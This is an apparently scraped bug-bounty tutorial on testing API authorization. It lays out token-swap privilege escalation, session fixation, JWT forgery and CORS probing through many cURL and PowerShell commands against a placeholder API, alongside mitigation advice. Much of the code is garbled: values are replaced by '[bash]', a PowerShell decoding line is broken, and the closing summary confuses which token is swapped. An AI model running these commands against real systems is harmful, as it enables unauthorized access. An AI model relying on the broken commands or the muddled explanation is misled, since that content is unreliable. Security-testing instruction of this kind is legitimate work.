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Introduction:
In the high-stakes arena of bug bounty hunting, automated scanners are merely the opening act—the real vulnerabilities hide in the business logic that developers assume is secure. When a server returns HTTP 200 OK after you swap a standard user token for an administrator’s, you haven’t just found a bug; you’ve uncovered a fundamental failure in how the backend validates identity and authorization. This article dissects a real-world API logic flaw discovery, provides a battle-tested methodology for testing session management, and equips you with the commands and techniques to uncover broken access control vulnerabilities before malicious actors do.
Learning Objectives:
- Master the parameter isolation technique to identify which tokens and headers a server actually uses for authentication
- Understand how to execute privilege escalation attacks by manipulating session tokens and CSRF protections
- Learn to distinguish between authentication (who you are) and authorization (what you can do) in API security testing
- Acquire practical command-line skills for testing API endpoints using cURL and PowerShell
- Develop a systematic methodology for testing session management and access control flaws
You Should Know:
- Parameter Isolation and Token Identification: The Art of Breaking Things One Piece at a Time
The foundational step in uncovering logic flaws is understanding exactly what the server relies upon to identify you. Automated tools send the same requests repeatedly, but manual testing with Burp Suite Repeater allows you to surgically remove variables and observe the server’s behavior. The methodology begins by intercepting a legitimate request and systematically deleting cookie values and headers one by one. This isolates the critical authentication mechanism—often a specific token that the server prioritizes over all other session data.
Step-by-Step Guide:
- Intercept the Request: Configure Burp Suite as a proxy and capture a legitimate authenticated request to a target endpoint.
- Send to Repeater: Right-click the request and select “Send to Repeater” to enable manual manipulation.
- Systematic Deletion: Begin removing headers and cookie values one at a time. Start with seemingly secondary cookies, then move to authorization headers.
- Observe Responses: Note which removals trigger a 401 Unauthorized or 403 Forbidden response—these indicate critical authentication components.
- Identify the Primary Token: Once you’ve identified the token the server cannot function without, you’ve found your attack surface.
Linux cURL Commands for Token Testing:
Capture a baseline request with full headers curl -X GET "https://api.target.com/v1/user/profile" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -H "Cookie: session=abc123; csrf=xyz789" \ -H "User-Agent: Mozilla/5.0" \ -v Test by removing the Cookie header entirely curl -X GET "https://api.target.com/v1/user/profile" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -H "User-Agent: Mozilla/5.0" \ -v Test by removing the Authorization header curl -X GET "https://api.target.com/v1/user/profile" \ -H "Cookie: session=abc123; csrf=xyz789" \ -H "User-Agent: Mozilla/5.0" \ -v Isolate to just the Bearer token curl -X GET "https://api.target.com/v1/user/profile" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -v
Windows PowerShell Commands for Token Testing:
Baseline request with full headers
Invoke-RestMethod -Uri "https://api.target.com/v1/user/profile" `
-Headers @{
"Authorization" = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
"Cookie" = "session=abc123; csrf=xyz789"
"User-Agent" = "Mozilla/5.0"
}
Test without Cookie header
Invoke-RestMethod -Uri "https://api.target.com/v1/user/profile" `
-Headers @{
"Authorization" = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
"User-Agent" = "Mozilla/5.0"
}
Test without Authorization header
Invoke-RestMethod -Uri "https://api.target.com/v1/user/profile" `
-Headers @{
"Cookie" = "session=abc123; csrf=xyz789"
"User-Agent" = "Mozilla/5.0"
}
What This Teaches You: By isolating parameters, you discover that the server may prioritize a JWT or OAuth token over session cookies. This is the critical insight that enables the next phase: token manipulation.
2. Privilege Escalation Through Token Manipulation: The Swap That Should Never Work
Once you’ve identified the primary authentication token, the next step is testing whether the server performs proper authorization checks. Broken Object Level Authorization (BOLA)—the number one risk in the OWASP API Top 10—occurs when an API verifies authentication but fails to verify that the user is authorized to access the specific resource they’re requesting. The test is simple: replace a low-privilege user’s token with one from a high-privilege account and observe if the server accepts it.
Step-by-Step Guide:
1. Obtain Two Tokens: Log in as a standard user (Member) and capture their token. Log in as an administrator (Admin) and capture their token.
2. Capture a Privileged Request: Using the admin account, intercept a request that performs a sensitive action—viewing all user accounts, modifying settings, or accessing restricted data.
3. Send to Repeater: Forward this request to Burp Repeater.
4. Replace the Token: Substitute the admin token with the member token in the Authorization header or cookie.
5. Adjust CSRF Protection: If the request includes a CSRF token, ensure it remains valid—many applications tie CSRF tokens to sessions, and replacing the session may break the CSRF validation.
6. Send the Request: Submit the modified request and analyze the response.
Linux cURL Commands for Token Swap Testing:
Attempt to access admin endpoint with member token
curl -X GET "https://api.target.com/v1/admin/users" \
-H "Authorization: Bearer [bash]" \
-H "X-CSRF-Token: [bash]" \
-v
Attempt to perform admin action with member token
curl -X POST "https://api.target.com/v1/admin/users/delete" \
-H "Authorization: Bearer [bash]" \
-H "X-CSRF-Token: [bash]" \
-H "Content-Type: application/json" \
-d '{"user_id": "12345"}' \
-v
Test with multiple token variations
for token in $(cat tokens.txt); do
curl -X GET "https://api.target.com/v1/admin/users" \
-H "Authorization: Bearer $token" \
-s -o /dev/null -w "%{http_code}\n"
done
Windows PowerShell Commands for Token Swap Testing:
Attempt to access admin endpoint with member token
$headers = @{
"Authorization" = "Bearer [bash]"
"X-CSRF-Token" = "[bash]"
}
Invoke-RestMethod -Uri "https://api.target.com/v1/admin/users" -Headers $headers
Attempt admin action with member token
$body = @{ user_id = "12345" } | ConvertTo-Json
Invoke-RestMethod -Uri "https://api.target.com/v1/admin/users/delete" `
-Method Post `
-Headers $headers `
-Body $body `
-ContentType "application/json"
The Critical Finding: When the server returns HTTP 200 OK with admin-level data despite using a member token, you’ve confirmed a broken access control vulnerability. The backend failed to re-validate authorization on the server side, trusting the client-supplied token implicitly.
3. Understanding BOLA, IDOR, and the OWASP API Security Landscape
The vulnerability discovered in this bug bounty hunt falls squarely within OWASP API1:2023—Broken Object Level Authorization. Formerly known as Insecure Direct Object Reference (IDOR), BOLA occurs when an API exposes endpoints that handle object identifiers without properly verifying that the requesting user has permission to access that specific object. In this case, the “object” was the administrative panel itself, and the “identifier” was the token that should have been validated against the user’s actual role.
Key Concepts:
– Authentication vs. Authorization: Authentication confirms identity; authorization determines what that identity is allowed to do. Many breaches occur because applications authenticate properly but fail to authorize.
– Client-Side vs. Server-Side Trust: Never trust data that originates from the client. Tokens, cookies, and headers can all be manipulated. All authorization decisions must occur on the server.
– The T-Mobile Breach (2023): When T-Mobile exposed 37 million customer records, the root cause was an API endpoint that did not verify whether users had permission to access specific data—a textbook BOLA vulnerability.
Mitigation Strategies:
1. Implement Server-Side Authorization Checks: Every function that accesses a data source using user input must include object-level authorization validation.
2. Use Random, Non-Guessable Object Identifiers: Avoid sequential IDs that can be easily enumerated.
3. Adopt a Zero-Trust Session Model: Re-validate permissions on every request, not just at login.
4. Regular Security Testing: Incorporate both automated scanning and manual penetration testing into your SDLC.
4. Session Management Testing: A Comprehensive Methodology
Session management flaws are among the most critical vulnerabilities in web applications. A penetration tester must understand exactly which cookies and tokens the application uses to identify users. The methodology extends beyond simple token swaps to include session fixation, session ID analysis, and token generation testing.
Step-by-Step Session Testing Guide:
1. Session ID Analysis: Observe the format and structure of session IDs. Determine if they are random, static, or contain encoded user data.
2. Session Fixation Testing: Attempt to force a user to use a session ID you control, then authenticate as that user.
3. Token Generation Analysis: Use Burp Sequencer to analyze the randomness of token generation.
4. Cookie Security Flags: Verify that cookies have the Secure and HttpOnly flags set appropriately.
5. Session Handling Rules: Configure Burp’s session handling rules to maintain authentication during automated testing.
Linux cURL Commands for Session Testing:
Analyze session cookie behavior curl -X GET "https://api.target.com/v1/user/profile" \ -H "Cookie: session=YOUR_SESSION_ID" \ -v Test session fixation - attempt to use a preset session ID curl -X GET "https://api.target.com/login" \ -H "Cookie: session=ATTACKER_CONTROLLED_ID" \ -d "username=admin&password=admin" \ -v Check for secure flag on cookies curl -I "https://api.target.com" | grep -i cookie Test token replay across different endpoints curl -X GET "https://api.target.com/v1/user/profile" \ -H "Authorization: Bearer [bash]" \ -v curl -X GET "https://api.target.com/v1/orders" \ -H "Authorization: Bearer [bash]" \ -v
Windows PowerShell Commands for Session Testing:
Analyze session behavior
Invoke-WebRequest -Uri "https://api.target.com/v1/user/profile" `
-Headers @{ "Cookie" = "session=YOUR_SESSION_ID" } `
-SessionVariable session
Test session fixation
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("session", "ATTACKER_CONTROLLED_ID", "/", "api.target.com")))
Invoke-WebRequest -Uri "https://api.target.com/login" `
-WebSession $session `
-Body @{ username = "admin"; password = "admin" }
Check cookie security headers
(Invoke-WebRequest -Uri "https://api.target.com").Headers["Set-Cookie"]
5. Advanced Token Exploitation: JWT Manipulation and Forgery
JSON Web Tokens (JWTs) are increasingly common in API authentication, but they introduce unique attack vectors. When a JWT signing secret is hardcoded or weak, attackers can forge tokens for arbitrary users, including administrative roles.
JWT Attack Methodology:
1. Decode the JWT: Use Burp Inspector or jwt.io to view the header and payload.
2. Test for Algorithm Confusion: Change the algorithm from RS256 to HS256 and attempt to sign with the public key.
3. Check for None Algorithm: Set the algorithm to “none” and remove the signature.
4. Modify Payload Claims: Change the “sub” (subject) or “role” claims to escalate privileges.
5. Test for Kid Path Traversal: If the “kid” (key ID) header is present, test for path traversal vulnerabilities.
Linux cURL Commands for JWT Testing:
Decode JWT (split by '.' and base64 decode)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6Im1lbWJlciIsImlhdCI6MTUxNjIzOTAyMn0.signature" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Test with modified JWT (using jwt-cli)
jwt encode --secret 'weak_secret' '{"sub":"admin","role":"admin"}'
Attempt to use forged JWT
curl -X GET "https://api.target.com/v1/admin/users" \
-H "Authorization: Bearer [bash]" \
-v
Windows PowerShell Commands for JWT Testing:
Decode JWT payload (base64 decode the middle section)
$jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6Im1lbWJlciIsImlhdCI6MTUxNjIzOTAyMn0.signature"
$payload = $jwt.Split('.')[bash]
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight(4 [bash]::Ceiling($payload.Length / 4), '=')))
Test forged token
$headers = @{ "Authorization" = "Bearer [bash]" }
Invoke-RestMethod -Uri "https://api.target.com/v1/admin/users" -Headers $headers
6. Cloud and API Hardening: Preventing Authorization Bypasses
Preventing the type of vulnerability discovered in this bug bounty requires a defense-in-depth approach to API security. Cloud-1ative applications must implement robust authorization at every layer.
Hardening Checklist:
1. Implement Policy-as-Code: Use Open Policy Agent (OPA) or AWS IAM to enforce authorization policies consistently.
2. Use API Gateways: Deploy an API gateway (e.g., Kong, AWS API Gateway) to centralize authentication and authorization.
3. Enable Detailed Logging: Log all authorization failures and review them regularly for signs of attack.
4. Adopt Zero-Trust Principles: Never trust internal network boundaries; verify every request.
5. Regularly Rotate Secrets: Ensure that JWT signing keys and API tokens are rotated regularly.
6. Implement Rate Limiting: Prevent brute-force attacks on token endpoints.
Linux Commands for API Security Testing:
Test for rate limiting
for i in {1..100}; do
curl -X GET "https://api.target.com/v1/user/profile" \
-H "Authorization: Bearer [bash]" \
-s -o /dev/null -w "%{http_code}\n"
done | sort | uniq -c
Test for CORS misconfigurations
curl -X GET "https://api.target.com/v1/user/profile" \
-H "Origin: https://evil.com" \
-H "Authorization: Bearer [bash]" \
-v
Test for HTTP method override
curl -X GET "https://api.target.com/v1/admin/users" \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer [bash]" \
-v
Windows PowerShell Commands for API Security Testing:
Test rate limiting
1..100 | ForEach-Object {
$status = (Invoke-WebRequest -Uri "https://api.target.com/v1/user/profile" `
-Headers @{ "Authorization" = "Bearer [bash]" } `
-UseBasicParsing).StatusCode
Write-Output $status
} | Group-Object
Test CORS misconfigurations
Invoke-WebRequest -Uri "https://api.target.com/v1/user/profile" `
-Headers @{
"Authorization" = "Bearer [bash]"
"Origin" = "https://evil.com"
} -UseBasicParsing
What Undercode Say:
- Key Takeaway 1: Automated scanners are no substitute for manual testing. The most critical vulnerabilities—logic flaws, broken access control, and business logic errors—require human intuition and systematic parameter isolation to uncover.
-
Key Takeaway 2: Server-side authorization must be re-validated on every request. Trusting client-supplied tokens without verifying the user’s actual permissions is a recipe for disaster. The 200 OK response to a token swap is not a success—it’s a critical security failure.
The methodology demonstrated in this bug bounty hunt—parameter isolation, token identification, and privilege escalation testing—represents the gold standard for API security testing. The discovery that a server accepts an admin token from a member account reveals a fundamental flaw in how authorization is implemented. This isn’t just about finding bugs; it’s about understanding the trust boundaries in web applications and systematically testing where they break. The most successful bug bounty hunters combine technical proficiency with a hacker’s mindset: always assume the server trusts too much, and always test the boundaries of that trust.
Prediction:
- +1 The demand for manual API security testers will continue to grow as organizations realize that automated tools cannot catch logic flaws. Bug bounty programs will increasingly prioritize manual testing methodologies.
-
-1 As APIs become more complex and microservices architectures proliferate, the attack surface for broken access control vulnerabilities will expand. Organizations that fail to implement robust authorization checks will face increasing data breach risks.
-
+1 The development of specialized tools like Burp Suite extensions (e.g., Repeater2, AuthzTester) will streamline authorization testing, making it more accessible to a broader range of security professionals.
-
-1 The prevalence of hardcoded JWT secrets and weak token generation practices will continue to enable token forgery attacks, particularly in startups and organizations with immature security practices.
-
+1 The integration of policy-as-code and zero-trust architectures will provide more robust authorization frameworks, reducing the incidence of BOLA vulnerabilities in well-architected systems.
-
-1 The increasing use of AI-generated code may introduce new classes of authorization flaws as developers rely on LLMs without understanding the security implications of their generated code.
-
+1 Community-driven resources like the OWASP API Security Top 10 and open-source API pentesting tools will continue to evolve, providing security professionals with the knowledge and tools needed to identify and mitigate these critical vulnerabilities.
▶️ Related Video (68% Match):
https://www.youtube.com/watch?v=94-tlOCApOc
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Reported By: Mohamed Hossam – Hackers Feeds
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